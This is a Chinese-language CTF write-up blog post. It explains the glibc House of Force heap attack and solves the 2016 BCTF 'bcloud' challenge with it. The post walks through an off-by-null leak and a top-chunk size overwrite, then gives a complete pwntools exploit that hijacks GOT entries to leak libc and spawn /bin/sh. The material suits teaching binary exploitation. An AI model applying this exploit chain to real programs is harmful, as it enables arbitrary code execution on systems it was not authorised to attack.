0x1 写在前面
本篇博客的原理分析部分大篇幅引用了m@9ρ13的文章,具体文章链接请参考文末。
House_of_Force是一种针对Top Chunk的有效攻击手段。
本文以2016-BCTF-bcloud为例题。
0x2 House_of_Force 原理介绍
top chunk的分割机制与利用点
Top Chunk的作用是作为后备堆空间,在各bin中没有chunk可提供时,分割出一个chunk提供给用户。
以下是相关的源码实现:
victim = av->top;
size = chunksize(victim);
//检查Top Chunk大小是否大于用户申请所需大小 ⬇️
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
//将Top Chunk向后推到新位置 ⬇️
av->top = remainder;
set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
//返回原Top Chunk首地址 ⬇️
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
首先是libc会检查用户申请的大小,top chunk是否能给的起,如果给得起,就由top chunk的head处,以用户申请大小所匹配的chunk大小为偏移量,将top chunk的位置推到新的位置,而原来的top chunk head处就作为新的堆块被分配给用户了。
如果我们能控制top chunk在这个过程中推到任意位置,也就是说,如果我们能控制用户申请的大小为任意值,我们就能将top chunk劫持到任意内存地址,然后就可以控制目标内存。
pwn中劫持内存常常劫持的是malloc_hook、got表等指针,与堆空间中的top chunk相距甚远,远到所需要申请的size必定超出top chunk现有的大小(甚至有时劫持目标内存地址低于top chunk,我们需要申请负数大小的堆,转成unsigned int后会变成非常大的数),便无法通过上述源码中的大小检查。
观察源码可见:大小检查时用的数据类型是unsigned int,马上就可以想到,如果能通过某些漏洞(比如溢出)将top chunk的size字段篡改成-1,那么在做这个检查时,size就变成了无符号整数中最大的值,这样一来,不管用户申请多大的堆空间,管够!
此外,虽然此处的检查中,用户申请的大小也被当做无符号整型对待,但是在后面推top chunk的时候是作为int对待的,因此如果劫持目标内存地址比top chunk低,我们申请负数大小的内存是可以劫持过去的!
这样一来,打top chunk的思路就出来了:篡改top chunk的size为-1,然后劫持到任意内存。
这种攻击手段成为House of force(hof),能够进行hof攻击需要满足两个条件:
- 用户能够篡改top chunk的size字段(篡改为负数或很大值)
- 用户可以申请任意大小的堆内存(包括负数)
计算劫持偏移量的注意点
首先劫持目标地址应该做为用户区而不是堆块的头部,第二点是top chunk推的时候应该推到劫持目标地址对应堆块的头部,这个长度不等于你所申请的长度,而等于你所申请的长度加上size_head。
基于以上两点,我们的计算过程应当是:首先确定劫持目标内存地址,然后将此处看作堆块用户区算出其头部地址,然后用这个头部地址减去top chunk head地址得到一个offset,然后实现劫持需要申请的用户区大小即为offset – size_head(若涉及到重用对齐什么的自己按这个原则分析即可)。
0x3 以2016-BCTF-bcloud为例
漏洞点分析
- 题目保护信息
未开启FULL RELRO,可以劫持GOT。 - 漏洞点
Myread函数中存在一个Off-by-Null漏洞
并且此处如果输入的长度与允许长度相同,将会导致字符串无截断,尽管程序会在最后添加一个\x00
,但是添加的\x00
一旦被覆盖,将会引发leak。
现在我们着重分析程序的初始化函数(get_info)
那么首先看get_name函数
此处我们可以看出,s与Name_Chunk相邻,那么如果我们在s中读入0x40个字符,之后会将Name_Chunk的地址放入其之后的位置,\x00
将被覆盖,之后程序调用strcpy时,会将Name_Chunk的地址一并放入Name_Chunk中,之后程序调用了Welcome函数来打印Name_Chunk的值。进而会leak出Heap地址。
接下来看get_host_org函数
此处我们考虑当我们在v4和v2中都填入0x40的padding时的情形,当程序执行到line 20时,会先copy Org中的0x40个字节,紧接着由于v2是Org_chunk的首地址,显然不会存在\x00
,那么会继续copy v2的四个字节。注意,此时因为Org_chunk是最后分配的Chunk,copy v2的四个字节会直接覆盖掉Top Chunk的prev_size域,那么如果我们在host中输入FF FF FF FF,我们将会把Top Chunk的size域覆盖为-1,进而完成House of force
的第一步!
漏洞利用
leak_heap&劫持Top_Chunk Size域
sh.recvuntil('Input your name:')
sh.sendline('A'*0x30+'Heap_base_addr->')
sh.recvuntil('Heap_base_addr->')
Heap_base_addr=u32(sh.recvuntil('!').strip('!'))
log.info('Heap base address is ' + str(hex(Heap_base_addr)))
sh.recvuntil('Org:')
sh.sendline('A'*0x40)
sh.recvuntil('Host:')
sh.sendline(p32(0xFFFFFFFF))
劫持Top Chunk
此处我们想要让Chunk list被我们所控制,因此,我们要将Top Chunk推到Chunk list - 8地址处。
creat(0x40,'Chunk1')
creat(0x40,'Chunk2')
creat(0x40,'Chunk3')
creat(0x40,'Chunk4')
old_top_chunk_head=Heap_base_addr+(0x40+0x8)*7
new_top_chunk_head=0x0804B120-0x8
creat(new_top_chunk_head-old_top_chunk_head,'Chunk_fake')
这里我们提前分配了四个Chunk以供稍后使用。
劫持GOT表
creat(0x40,p32(bcloud.got['puts'])+p32(bcloud.got['free']))
edit(1,p32(bcloud.plt['puts']))
delete(0)
sh.recvline()
libc_base_addr=u32(sh.recv()[:4])-libc.symbols['puts']
system_addr=libc_base_addr+libc.symbols['system']
log.info('Libc base address is ' + str(hex(libc_base_addr)))
sh.sendline('3')
sh.recvuntil('Input the id:')
sh.sendline(str(1))
sh.recvuntil('Input the new content:')
sh.sendline(p32(system_addr))
edit(2,'/bin/sh\x00')
delete(2)
最终EXP
#encoding:utf-8
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
bcloud=ELF("./bcloud")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
libc=ELF("../x86_libc.so.6")
else:
sh = process("./bcloud")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def creat(chunk_size,value):
sh.recvuntil('option--->>')
sh.sendline('1')
sh.recvuntil('Input the length of the note content:')
sh.sendline(str(chunk_size))
sh.recvuntil('Input the content:')
sh.sendline(value)
def edit(index,value):
sh.recvuntil('option--->>')
sh.sendline('3')
sh.recvuntil('Input the id:')
sh.sendline(str(index))
sh.recvuntil('Input the new content:')
sh.sendline(value)
def delete(index):
sh.recvuntil('option--->>')
sh.sendline('4')
sh.recvuntil('Input the id:')
sh.sendline(str(index))
sh.recvuntil('Input your name:')
sh.send('A'*0x30+'Heap_base_addr->')
sh.recvuntil('Heap_base_addr->')
Heap_base_addr=u32(sh.recvuntil('!').strip('!'))
log.info('Heap base address is ' + str(hex(Heap_base_addr)))
sh.recvuntil('Org:')
sh.send('B'*0x40)
sh.recvuntil('Host:')
sh.sendline(p32(0xFFFFFFFF))
creat(0x40,'Chunk1')
creat(0x40,'Chunk2')
creat(0x40,'/bin/sh\x00')
creat(0x40,'Chunk4')
old_top_chunk_head=Heap_base_addr+(0x40+0x8)*7
new_top_chunk_head=0x0804B120-0x8
creat(new_top_chunk_head-old_top_chunk_head,'Chunk_fake')
creat(0x40,p32(bcloud.got['puts'])+p32(bcloud.got['free']))
edit(1,p32(bcloud.plt['puts']))
delete(0)
sh.recvline()
libc_base_addr=u32(sh.recv()[:4])-libc.symbols['puts']
system_addr=libc_base_addr+libc.symbols['system']
log.info('Libc base address is ' + str(hex(libc_base_addr)))
sh.sendline('3')
sh.recvuntil('Input the id:')
sh.sendline(str(1))
sh.recvuntil('Input the new content:')
sh.sendline(p32(system_addr))
edit(2,'/bin/sh\x00')
delete(2)
sh.interactive()